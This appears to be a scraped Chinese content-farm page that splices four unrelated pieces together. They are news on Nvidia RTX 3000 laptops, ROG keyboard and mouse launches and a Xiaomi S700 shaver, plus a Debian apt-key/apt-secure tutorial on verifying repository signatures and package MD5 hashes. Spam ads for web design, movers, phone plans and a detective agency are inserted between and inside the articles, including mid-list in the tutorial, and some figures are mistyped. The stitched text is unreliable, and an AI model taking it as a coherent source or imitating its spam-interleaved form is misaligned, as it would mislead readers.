Nvidia 終於將 RTX 3000 系列導入筆電中,本月起新機陸續現身_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

距離桌上型電腦用的 GeForce RTX 3000 系列顯卡推出不到半年時間,今日(1/13)Nvidia 宣布將為筆電導入 RTX 3060、RTX 3070 和 RTX 3080 等顯卡,憑藉其新的 Ampere 架構,與過去搭載 RTX 2000 系列的筆電相比擁有顯著的效能提升。

Nvidia 終於將 RTX 3000 系列導入筆電中,本月起新機陸續現身

在這次會中,Nvidia 表示,從 1/26 起將會有超過 70 款遊戲筆電配備 RTX 3070 和 RTX 3080 顯卡,而伴隨 RTX 3060 的推出,採用 RTX 3060 顯卡的筆電也會在 2/2 上市。搭載 RTX 3060 的筆電售價從 999 美元起;RTX 3070 筆電的售價則為 1,299 美元起,Nvidia表示在速度上會比以往的 RTX 2070 系統快上 1.5 倍,並且能提供 1440P、90fps 。RTX 3080 筆電的售價為 1,999 美元起,顯卡記憶體最高達 16GB GDDR6,超越 RTX 3080 PC 版,Nvidia 指出這些筆電將可提供 144oP、100fps 以上的幀速。

這些配備最新 RTX 3000 系列筆電採用的是第三代 Nvidia Max-Q 技術,而其變異版本則專為更輕薄的遊戲筆電而設計,主要在將大部分 GPU 熱能從更緊湊的機身中散出,而 Nvidia 與 OEM 廠商對此進行了更進一步的調整改良,以實現此一目標。Nvidia 表示,最新一代的 Max-Q 筆電將提供前代兩倍的效能,並且在這些筆電中皆運用了 Dynamic Boost 2.0 技術,利用 AI 以幀為單位平衡 CPU、GPU 與 GPU 記憶體之間的電力需求,達到即時平衡的效果。

最新 RTX 3000 系列筆電效能強大,足以運行對硬體要求嚴苛的《Microsoft Flight Simulator》,且 Nvidia 還在這些筆電中加入 WhisperMode 2.0,另外 AI 還能管理風扇速度和遊戲設定以保持所需的音位。

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

ROG 新一代 Claymore II 機械鍵盤與 Gladius III 電競滑鼠推出,全方面大進化_貨運

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

除了筆電等系統類產品外,Asus 也更新了旗下 ROG 的周邊配備,其中包含從前一代就定位明確、頗有亮點的可分離式 Claymore II 機械鍵盤以及更輕量、可更換微動的 Gladius III 電競滑鼠,兩款產品有感升級,不只系統要更新,有如左臂右膀的配件產品更是不能錯漏。

ROG 新一代 Claymore II 機械鍵盤與 Gladius III 電競滑鼠推出,全方面大進化

Claymore II 機械鍵盤
這一代的 Claymore II 與前一代同樣採用可分離式設計,在數字鍵上方配置有 4 個可自行定義功能的按鍵,讓用戶依照使用需求自由組合形式與設定,繼續保持高自由度的好傳統。

在外觀上延續過去窄框、金屬上蓋與裸軸等元素,但軸心部分則從過去的 MX 軸改為 ROG 自家的 RX Blue 光軸,具備段落明確的手感以及較重的 65gf 觸發力道。這款鍵盤內建 4000mAh 電池,最長續航可達 100 小時並支援快充,可支援有線與 2.4GHz、藍牙無線等模式。

ROG Gladius III
這款最新的電競滑鼠與上面的鍵盤一樣支援有線與 2.4GHz、藍牙無線三種模式。

這款滑鼠在外型上設計改良,讓其握感更合手,加上側邊手感提升的止滑墊以及僅有 89g 的輕量化,讓你一鼠在手所向披靡。在光學感應器部分提升至 19000 DPI,還將微動更換插槽升級為 Push-Fit Switch Socket II,支援之前的 3 Pin 微動與 5 Pin 歐姆龍光學微動,讓玩家依照個人喜好自行選擇替換。

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

這兩款最新周邊產品目前尚未公布其售價與上市時間,不過對很多玩家來說應該已經開始期待,包括筆者也對其躍躍欲試,日後有機會親手把玩再來與大家分享吧!

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

小米推出米家電動刮鬍刀 S700 :米家首款旋轉式陶瓷刀片刮鬍刀,支援座充與 Type-C 充電_包裝設計

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

除了隨身旅行好攜帶的米家便攜電動刮鬍刀 1S ,採用座充方式的米家電動刮鬍刀 S500 系列則是台灣消費者目前在小米台灣可夠買的機種。近日小米也在中國率先推出全新一代的米家電動刮鬍刀 S700 ,不僅是米家首款採用旋轉式陶瓷刀片的刮鬍刀,這次更在座充之外增加了 Type-C 的充電方式,對於臨時充電需求更加便利。

小米推出米家電動刮鬍刀 S700 :米家首款旋轉式陶瓷刀片刮鬍刀,支援座充與 Type-C 充電

米家電動刮鬍刀 S700 搭載陶瓷刀片,也是米家旗下首款採用旋轉式陶瓷刀片的電動刮鬍刀,以廣泛應用於醫療領域的氧化鋯陶瓷為基礎材料打造,刀片鋒利、抗腐蝕能力更強、耐酸鹼、不易氧化,使用壽命也比以往更持久。相較過去鋼刀片硬度為 HV500~600 ,而陶瓷刀片硬度則為 HV1200~1500 ,抗磨損能力也更強。

創新的鬍鬚檢測系統通過全方位的 PID 演算法智慧檢測鬍鬚負載,讓轉速始終保持恆定且不受進鬍量、鬍鬚密度影響。米家電動刮鬍刀 S700 搭載 4.4nN・m 大扭矩電機和高階直驅低噪馬達,在保有強勁不卡頓的動力同時也讓運轉噪音更低。

藉由創新懸掛浮動和獨立浮動技術,讓 3 刀頭全面服貼臉部、剃鬍無死角。動力模式可根據個人習慣或皮膚狀態切換 3 檔轉速模式。同時也支持檔位記憶功能,讓下次啟動無需手動調節。

以往座充類型的電動刮鬍刀多數都只支持座充的方式,但這對於旅行攜帶就得記得帶著充電座、尋找能充電的插座,難免感到不太方便。
全新推出的米家電動刮鬍刀 S700 除了延續過去的座充方式,更在機身上配置 USB Type-C 充電接口,不僅讓充電更容易、更支持邊充邊用的便利功能。米家電動刮鬍刀 S700 亦支持 2 小時快速充電,在充飽電後最長可 60 分鐘的時間。

對於電動刮鬍刀使用者來說,時常清洗保持衛生的狀態也相當重要,米家電動刮鬍刀 S700 整機為 IPX7 等級防水,在機身底部也設置機內排水口,讓清洗更方便。

細節方面,米家電動刮鬍刀 S700在刀頭外圈部分鍍以順滑圖層,有效降低摩擦、減輕肌膚的刺激感。

米家也將應用於汽車儀錶板、高階電子產品的雷射微孔顯示技術沿用到電動刮鬍刀,在米家電動刮鬍刀 S700 的金屬機身下可顯示電量、檔位、旅行所以及鬍鬚清理通知,都能藉由指示燈清晰呈現:

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

米家電動刮鬍刀採用高強度 6 系列全鋁金屬機身,擁有抗氧化、兼顧、輕盈的特性:

由於米家電動刮鬍刀 S700 更高階的產品定位,在價格方面也相較之前略高一些,建議售價為人民幣 499 元(約合新台幣 2,150 元),不過與其他同級產品相比性價比仍是相當高。

圖片/消息來源:小米商城(中國)

延伸閱讀:
小米智慧攝影機雲台版2K 在台開賣:升級 2K 高畫質和 F1.4 大光圈,售價 1,095元

小米11 Pro 最新高清晰概念渲染圖曝光!傳聞搭載 50MP 四鏡頭主相機,支持 120x 混合變焦

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

apt-key 密鑰管理,apt-secure 原理 驗證鏈 驗證測試_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

apt-key

用於管理Debian Linux系統中的軟件包密鑰。每個發布的deb包,都是通過密鑰認證的,apt-key用來管理密鑰。

  • apt-key list

    列出已保存在系統中key。包括 /etc/apt/trusted.gpg/etc/apt/trusted.gpg.d/目錄下的密鑰

  • apt-key add <keyname >

    把下載的key添加到本地trusted數據庫中,使用描述性名稱,以gpg或asc作為文件擴展名

  • apt-key del <keyname>

    從本地trusted數據庫刪除key。

  • apt-key update (棄用,直接刪除和添加)

    更新本地trusted數據庫,刪除過期沒用的key。

  • apt-key adv --recv-key

    下載並添加到受信任密鑰環中(不做任何檢查,有風險)

    http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-key.8.html

目錄、文件

/var/cache/apt/archives

已經下載到的.deb軟件包都放在這裏(用 apt-get install 安裝軟件時,軟件包的臨時存放路徑)

/var/lib/apt/lists

存放已安裝和未安裝的軟件列表

使用apt-get update命令會從/etc/apt/sources.list指定的源更新軟件列表,並保存到該目錄

/etc/apt

sources.list 官方軟件源地址(配置為阿里源)

souces.list.d 目錄下是第三方軟件源地址,裏面的文件必須以.list結尾

https://askubuntu.com/a/82844

/etc/apt

trusted.gpg: local trusted keys, new keys will be added here

trusted.gpg.d:additional keyrings can be stored here (by other packages or the administrator)

/usr/bin/

通過 apt 安裝的軟件,命令存放在 /usr/bin/ 目錄下

apt-secure

參考

http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-secure.8.html

SecureApt

基礎元素

Release 文件

Release文件包含分發元數據和索引文件的校驗值

apt 要求隨 Release 文件一起發布一個 Relesase.gpg 的簽名文件,用來驗證安裝包提供者的信息

InRelease 文件

InRelease文件內聯gpg簽名(數據和簽名在一個 InRelease 文件中)

lfp@legion:/var/lib/apt/lists$ ls
...
# 兩個文件
deb.nodesource.com_node%5f12.x_dists_bionic_InRelease
deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
...
# 三個文件
dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages
dl.google.com_linux_chrome_deb_dists_stable_Release
dl.google.com_linux_chrome_deb_dists_stable_Release.gpg
...

區別:在下載時避免競爭情況

The only difference to Release is that the signature is not detached, but within the file. This is a first step towards getting rid of race conditions when updating Packages/Sources files and mirror updates
running

https://lists.debian.org/debian-devel-announce/2009/11/msg00001.html

校驗值MD5

保護apt安全的基礎

debian archive 包含一個Release文件,隨安裝包一起更新,裡面包含了分發元數據和Package的MD5

Package文件里包含安裝信息以及安裝文件的MD5

驗證鏈

1)驗證簽名文件

簽名文件用來保證Package文件的正確性

  • 如果無法下載 Release 文件或 Release.gpg 簽名無效,則報錯

    W: GPG 錯誤……下列簽名無效 EXPKEYSIG……

    E: 倉庫……沒有数字簽名

    N: 無法安全地用該源進行更新,所以默認禁用該源

    缺少公鑰

  • apt 使用 gpg 來驗證簽名文件

    1. 獲取密鑰

      默認情況下,Debian 系統會預先安裝一些 Debian Archieve 的公鑰,保存在 /etc/apt/trusted.gpg文件中,第三方軟件密鑰需要通過apt-key add [.gpg] 安裝到/etc/apt/sources.list.d/目錄下

      一旦將密鑰添加到apt的密鑰環中,就相當於告訴apt信任該密鑰簽名的一切東西

      如果公鑰丟失,可以通過下面的命令到公鑰服務器上尋找

      apt-key adv --keyserver <server_url> --recv-key <keyId>

      1. 如果更新失敗可能是防火牆端口問題,嘗試指定常規HTTP端口80

      2. 如果連接的是公司的代理服務器,可以嘗試下面的方法

         --keyserver-options http-proxy=<myProxy> --keyserver keyserver.ubuntu.com
        
    2. 通過gpgv簽名驗證工具來驗證簽名的有效性

      詳細介紹參見博文GPG配置、命令、實例與apt-key密鑰測試

      • gpgv 認為apt密鑰環中的密鑰都是可信的,不會檢查其是否過期或被吊銷

      • 通過--keyring [.gpg file]指定密鑰環,-v可以显示更多信息

        apt 密鑰環保存在 /etc/apt/trusted.gpg 或 /etc/apt/trusted.gpg.d/xxx.gpg 中

      • 單獨簽名驗證

        gpgv --keyring /etc/apt/trusted.gpg [Release.gpg file] [Release file]

      • 內聯簽名驗證

        ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

        網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

        gpgv --keyring /etc/apt/trusted.gpg [InRelease file]

2)驗證Package文件

Package 文件中包含軟件不同版本的信息,用來保證deb文件的正確性

  1. 從Release文件或InRelease文件中提取Package文件的MD5

    sed -n "s,main/binary-amd64/Packages$,,p" [Release / InRelease file]

  2. 計算Package文件的MD5

    md5sum [Packages file]

3)驗證安裝包

  1. 從Package文件中提取deb文件的MD5

    sed -n "s/MD5sum: //p" [Packages file]

  2. 從apt緩存中提取軟件的MD5

    apt-cache show [package_name] | sed -n "s/MD5sum: //p"

  3. 計算本地已下載deb文件的MD5

    md5sum [.deb file]

驗證測試

chrome 驗證

特點

  1. chrome 是Release文件和簽名文件[.gpg]分離的
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

官方聲明

https://www.google.com/linuxrepositories/

Release.gpg文件

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAABCAAGBQJeqbVjAAoJEHi9ZUc8s70TgUIP/RzWWeDxvtGrmLoWt0csiD+O
wrAr86yDSSzFasjKPcS+SQzs5FnCamFdTT7KD2C6thwRgCLR3oumHMuKC5hnb9/4
GP7qMCDYQEMR2IQcWfKPoT2fAX1eKDKJtv5qsAEdSb3uIW27zkdvUA4j4N6w4toA
RA24VV/VSK1p3T4j3HQzN6fOta0wA3onN9bPrcXZAig7Tm78SKbjYEzd1jxIeQQE
aTKP6AfHPnn8UFNkVyifigsd1Usaex3BJumzHq+jLhTtJDcLjqQNQdcKs48xY0Ek
lZJHY1w/p8e06Y16fXxO/Mh6+Kmu+ZBOKEo3VjshBOISASkMXG/JPEjWadP62A8S
lprRALXaWLcF5P5RYjdqhatCxH37SQr3iqqQmdC/PSCDq/Z5cYiVIElyUeHnMZ6i
X6wYvOd1n9p64VgUAINpbY0NeWZc0Kj1pMXaL+bohUnH8YWDfIhFdQDdQbd0DxBY
xgSTAuUn4DkMKZvtqVEsAIZk5VrYjWykdvdaZad8DdAhVxuHzl1xVEXRDyDhxvUN
IE2oOMv1N5MrXKHtGJLITlv0SAtbZRSaez91dudr9eoln8bZ+oFI9VrHO0xKO2/W
/VRMExkQC51OHCEtZKfsqqSAEG0sctvagq5MElCElZkmD/P72MuznRBgjbfeKs/B
JMSaAmp1mus5Mo7BZND6
=/bSj
-----END PGP SIGNATURE-----                      
驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg dl.google.com_linux_chrome_deb_dists_stable_Release.gpg dl.google.com_linux_chrome_deb_dists_stable_Release
gpgv: 簽名建立於 2020年04月30日 星期四 01時12分03秒 CST
gpgv:                使用 RSA 密鑰 78BD65473CB3BD13
gpgv: 完好的簽名,來自於“Google Inc. (Linux Packages Signing Authority) <linux-packages-keymaster@google.com>”

Release文件

包含Package文件的MD5

Origin: Google LLC
Label: Google
Suite: stable
Codename: stable
Version: 1.0
Date: Wed, 29 Apr 2020 17:11:57 UTC
Architectures: amd64
Components: main
Description: Google chrome-linux software repository
MD5Sum:
 2e55673e5a00d8837090d0922e198520 4599 main/binary-amd64/Packages
 eafbe9cc415e53d2280c86a0d64be27d 1133 main/binary-amd64/Packages.gz
 156e5ea7a0c6bed5973a68a45e546dc9 151 main/binary-amd64/Release
SHA1:
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 main/binary-amd64/Packages
 c364469ff8578e7c7323b030ad3e459b9192a4ea 1133 main/binary-amd64/Packages.gz
 0f4348c2d4d7cc1f8e59b5934d87f1ca872f6e34 151 main/binary-amd64/Release
SHA256:
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 main/binary-amd64/Packages
 7dc589a54517f36e7786b101555e9f1d2c6e2058b1b3743c575eb8c165094620 1133 main/binary-amd64/Packages.gz
 c1e3c9318381862306adcdc4fd4fe2d85be8aa4c4f3dcbb40fce80413f588286 151 main/binary-amd64/Release

提取Package文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" dl.google.com_linux_chrome_deb_dists_stable_Release
 2e55673e5a00d8837090d0922e198520 4599 
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 

計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
2e55673e5a00d8837090d0922e198520  dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages

Package文件可信

2e55673e5a00d8837090d0922e198520 一致

Package文件

包含deb文件的MD5

# 包含各種版本的chrome
Package: google-chrome-beta
...
Package: google-chrome-stable
Version: 81.0.4044.129-1
Architecture: amd64
Maintainer: Chrome Linux Team <chromium-dev@chromium.org>
Installed-Size: 229948
Pre-Depends: dpkg (>= 1.14.0)
Depends: ca-certificates, fonts-liberation, libappindicator3-1, libasound2 (>= 1.0.16), libatk-bridge2.0-0 (>= 2.5.3), libatk1.0-0 (>= 2.2.0), libatspi2.0-0 (>= 2.9.90), libc6 (>= 2.16), libcairo2 (>= 1.6.0), libcups2 (>= 1.4.0), libdbus-1-3 (>= 1.5.12), libdrm2 (>= 2.4.38), libexpat1 (>= 2.0.1), libgbm1 (>= 8.1~0), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglib2.0-0 (>= 2.39.4), libgtk-3-0 (>= 3.9.10), libnspr4 (>= 2:4.9-2~), libnss3 (>= 2:3.22), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0), libx11-6 (>= 2:1.4.99.1), libx11-xcb1, libxcb-dri3-0, libxcb1 (>= 1.6), libxcomposite1 (>= 1:0.3-1), libxcursor1 (>> 1.1.2), libxdamage1 (>= 1:1.1), libxext6, libxfixes3 (>= 1:5.0), libxi6 (>= 2:1.2.99.4), libxrandr2 (>= 2:1.2.99.3), libxrender1, libxss1, libxtst6, wget, xdg-utils (>= 1.0.2)
Recommends: libu2f-udev, libvulkan1
Provides: www-browser
Priority: optional
Section: web
Filename: pool/main/g/google-chrome-stable/google-chrome-stable_81.0.4044.129-1_amd64.deb
Size: 67137920
SHA256: fe140112304b243240a5f6b287105fd5b7d6e48c6ff682194a62c8d08fd0ed5b
SHA1: f5f984d1a1419b803a7a26dbda1d04fb8313c4b3
# md5
MD5sum: 3705bb8b32a9b4cfcc4440c14966acbc
Description: The web browser from Google
 Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier.

Package: google-chrome-unstable
...
提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
9c6634a7bbda0cedb2d218410c0a06c2
3705bb8b32a9b4cfcc4440c14966acbc
fe9bc72b7cb12549a69187c0e393f930
從apt緩存中提取chrome信息
lfp@legion:/var/lib/apt/lists$ apt-cache show chromium-browser | sed -n "s/MD5sum: //p"
# 沒有匹配的md5,打開瀏覽器,查看chrome的版本信息是:版本 81.0.4044.129(正式版本) (64 位)
# apt-cache show chromium-browser 显示信息如下,沒有找到同一個版本,於是從Google下載了一個最新的安裝包
# Package: chromium-browser
# Filename: pool/universe/c/chromium-browser/chromium-browser_80.0.3987.163-0ubuntu0.18.04.1_amd64.deb
6dcd58431410a691c847a709765f7248
dfd394ff98654f1e0a97d204f7343ab1
計算deb文件的MD5

從Google那裡下載了一個deb安裝包

lfp@legion:~/Downloads$ md5sum google-chrome-stable_current_amd64.deb 
3705bb8b32a9b4cfcc4440c14966acbc  google-chrome-stable_current_amd64.deb
deb文件可信

3705bb8b32a9b4cfcc4440c14966acbc 一致

nodejs驗證

特點

  1. nodejs 是InRelease文件,內聯簽名
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

InRelease文件

包含Package文件的MD5

驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
gpgv: 簽名建立於 2020年04月30日 星期四 00時53分13秒 CST
gpgv:                使用 RSA 密鑰 9FD3B784BC1C6FC31A8A0A1C1655A0AB68576280
gpgv: 完好的簽名,來自於“NodeSource <gpg@nodesource.com>”

lfp@legion:/var/lib/apt/lists$ vim deb.nodesource.com_node%5f12.x_dists_bionic_InRelease

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Origin: Node Source
Label: Node Source
Codename: bionic
Date: Wed, 29 Apr 2020 16:53:13 UTC
Architectures: i386 amd64 armhf arm64
Components: main
Description: Apt Repository for the Node.JS 12.x Branch
MD5Sum:
 d41d8cd98f00b204e9800998ecf8427e 0 main/binary-i386/Packages
 7029066c27ac6f5ef18d660d5741979a 20 main/binary-i386/Packages.gz
 cf52b42ebdc37bfabc86a5db93fcbdbc 130 main/binary-i386/Release
 # amd64
 6d2cd675d3c647d51a8ee0349754a976 1195 main/binary-amd64/Packages
 608cc59026b960ec64b97bcbeaa68003 765 main/binary-amd64/Packages.gz
 049fa528953b36ae91d8fe360618d46f 131 main/binary-amd64/Release
 14ce3c619a83d518ee3e433dedbdf26a 1216 main/binary-armhf/Packages
 219c6a1d7d300d409d4bb8249911d58f 775 main/binary-armhf/Packages.gz
 8064ccb91382a3c1cbade0c462ee18b3 131 main/binary-armhf/Release
 45ad97bad6053d65a462c352219fa962 1195 main/binary-arm64/Packages
 8afb33e583bf54aabaeb9b3378c3ca26 766 main/binary-arm64/Packages.gz
 670d019ad65bf455298c252afc334bff 131 main/binary-arm64/Release
 d41d8cd98f00b204e9800998ecf8427e 0 main/source/Sources
 7029066c27ac6f5ef18d660d5741979a 20 main/source/Sources.gz
 e4627d3fe224f8b3c07d9a69c88bedd2 132 main/source/Release

提取Package文件的MD5
sed -n "s,main/binary-amd64/Packages$,,p" deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
 6d2cd675d3c647d51a8ee0349754a976 1195 
 4615cf89691b8c95c052a84b09a1d24079268403 1195 
 8ec2d3674dc82a29ca759a2cf59cfe67a2b6c3a42106c523b11f93791a1e538e 1195 
計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
6d2cd675d3c647d51a8ee0349754a976  deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
Package文件可信

6d2cd675d3c647d51a8ee0349754a976 一致

Package文件

包含deb文件的MD5

Package: nodejs
Version: 12.16.3-1nodesource1
Architecture: amd64
Maintainer: Chris Lea <chl@nodesource.com>
Installed-Size: 87857
Depends: libc6 (>= 2.17), libgcc1 (>= 1:3.4), libstdc++6 (>= 4.8), python-minimal, ca-certificates
Conflicts: nodejs-dev, nodejs-legacy, npm
Replaces: nodejs-dev (<= 0.8.22), nodejs-legacy, npm (<= 1.2.14)
Provides: nodejs-dev, nodejs-legacy, npm
Homepage: https://nodejs.org
Priority: optional
Section: web
Filename: pool/main/n/nodejs/nodejs_12.16.3-1nodesource1_amd64.deb
Size: 17989662
SHA256: b2d1a6327f5a34c097d7fb5eeed8357d9758c09b30e356f45dfa01cc24103108
SHA1: de90a1776ee9995b3121ab68f49fef3cb110ce65
MD5sum: 9f87646d2782a572da1f965cf96f974f
Description: Node.js event-based server-side javascript engine
 Node.js is similar in design to and influenced by systems like
 Ruby's Event Machine or Python's Twisted.
 .
 It takes the event model a bit further - it presents the event
 loop as a language construct instead of as a library.
 .
 Node.js is bundled with several useful libraries to handle server tasks :
 System, Events, Standard I/O, Modules, Timers, Child Processes, POSIX,
 HTTP, Multipart Parsing, TCP, DNS, Assert, Path, URL, Query Strings.

提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
9f87646d2782a572da1f965cf96f974f
從apt緩存中提取nodejs信息
lfp@legion:/var/lib/apt/lists$ apt-cache show nodejs | sed -n "s/MD5sum: //p"
# 包含不同版本的信息
9f87646d2782a572da1f965cf96f974f
0e6643fbe872255dbfaebd5449813d8f
02d7a42a30a7d72b78d9bc4a7ceb5a5a
3930b41c309e69cc0bd3737cfc1e7d31
計算deb文件的md5
lfp@legion:/var/lib/apt/lists$ md5sum /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb 
9f87646d2782a572da1f965cf96f974f  /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb
deb文件可信

9f87646d2782a572da1f965cf96f974f 一致

smplayer 驗證

特點

  1. smplayer 是InRelease文件,內聯簽名
  2. 使用第三方密鑰環去驗證(保存在/etc/apt/trusted.gpg.d目錄中)

驗證流程

  1. 簽名

    lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg.d/rvm_ubuntu_smplayer.gpg ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
    gpgv: 簽名建立於 2020年04月13日 星期一 23時45分47秒 CST
    gpgv:                使用 RSA 密鑰 A7E13D78E4A4F4F4
    gpgv: 完好的簽名,來自於“Launchpad PPA named smplayer for rvm”
    
  2. Package

    MD5 7aa109a3525c661e783e9b943e4b46fa

    lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
     7aa109a3525c661e783e9b943e4b46fa             2909 
     29ca94a4f3a57c328b31789bce66cd6bbaa819e2             2909 
     6586e6ef8389cddb47ae0f7f7761ddbfedab35ed3ffbb3b10b4a1f91264577ae             2909 
    
    lfp@legion:/var/lib/apt/lists$ md5sum ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    7aa109a3525c661e783e9b943e4b46fa  ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages
    
  3. deb

    MD5 601afc2fe220b608acb1e5b920afca96

    lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    601afc2fe220b608acb1e5b920afca96
    b569cc540016f0b04fae5dd15a1434eb
    4eb1111c66b5087e7489cf7526321a9e
    45a466ca713b566f920d9e6414212552
    
    lfp@legion:/etc/apt/trusted.gpg.d$ apt-cache show smplayer | grep -E 'MD5|Filename'
    Filename: pool/main/s/smplayer/smplayer_20.4.2-1~bionic1_amd64.deb
    MD5sum: 601afc2fe220b608acb1e5b920afca96
    Filename: pool/universe/s/smplayer/smplayer_18.2.2~ds0-1_amd64.deb
    MD5sum: 7fdfc2f64d835cf5f7a38035523379a2
    
    lfp@legion:/var/cache/apt/archives$ md5sum smplayer_20.4.2-1~bionic1_amd64.deb 
    601afc2fe220b608acb1e5b920afca96  smplayer_20.4.2-1~bionic1_amd64.deb
    

沒有公鑰或簽名無效測試

  1. 本地沒有該公鑰

  2. 本地公鑰過期

    猜測:此時軟件發布者應該會創建一個新的子密鑰來簽名,而本地公鑰是過期的,情況類似於用一個錯誤的密鑰驗證簽名文件

    # 使用錯誤的密鑰去驗證簽名文件
    lfp@legion:~$ gpgv --keyring /etc/apt/trusted.gpg.d/sogou-archive-keyring.gpg /var/lib/apt/lists/typora.io_linux_._InRelease 
    gpgv: 簽名建立於 2020年03月04日 星期三 00時11分02秒 CST
    gpgv:                使用 RSA 密鑰 4AC441BE68B4ADAB7439FBF9BA300B7755AFCFAE
    gpgv:                issuer "abner@typora.io"
    gpgv: 無法檢查簽名:沒有公鑰
    

相關問題

EXPKEYSIG 沒有数字簽名

問題:執行apt update 出現如下錯誤

W: GPG 錯誤:https://dl.yarnpkg.com/debian stable InRelease: 下列簽名無效: EXPKEYSIG 23E7166788B63E1E Yarn Packaging yarn@dan.cx
E: 倉庫 “https://dl.yarnpkg.com/debian stable InRelease” 沒有数字簽名。
N: 無法安全地用該源進行更新,所以默認禁用該源

原因:

安裝第三方軟件的時候會同時安裝軟件倉庫地址以及密鑰,上述問題是因為本地的密鑰過期了,需要更新

https://github.com/yarnpkg/yarn/issues/7866#issue-558663837

辦法:更新密鑰

  1. 找到該軟件安裝方法中添加密鑰的方式(如yarn的安裝步驟一),再次執行即可

  2. 直接搜索密鑰添加到密鑰列表

    apt-key adv --keyserver <server_url> --recv-key <keyId>
    
  3. 到服務器找密鑰手動安裝

    1. 獲取 pub_key的ID

      23E7166788B63E1E

    2. 到密鑰服務器上以十六進制形式搜索

      http://keyserver.ubuntu.com/

      0x23E7166788B63E1E

    3. 單擊 pub鏈接,複製密鑰內容並保存到本地,以txt格式

      key.txt

      密鑰內容

    4. 終端添加密鑰

      sudo apt-key add key.txt

      ok

    5. 更新

      sudo apt update

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

